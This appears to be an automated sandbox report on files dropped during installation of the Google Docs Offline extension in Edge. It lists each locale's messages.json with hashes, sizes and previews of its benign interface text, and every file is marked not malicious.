SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7876_38612864\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
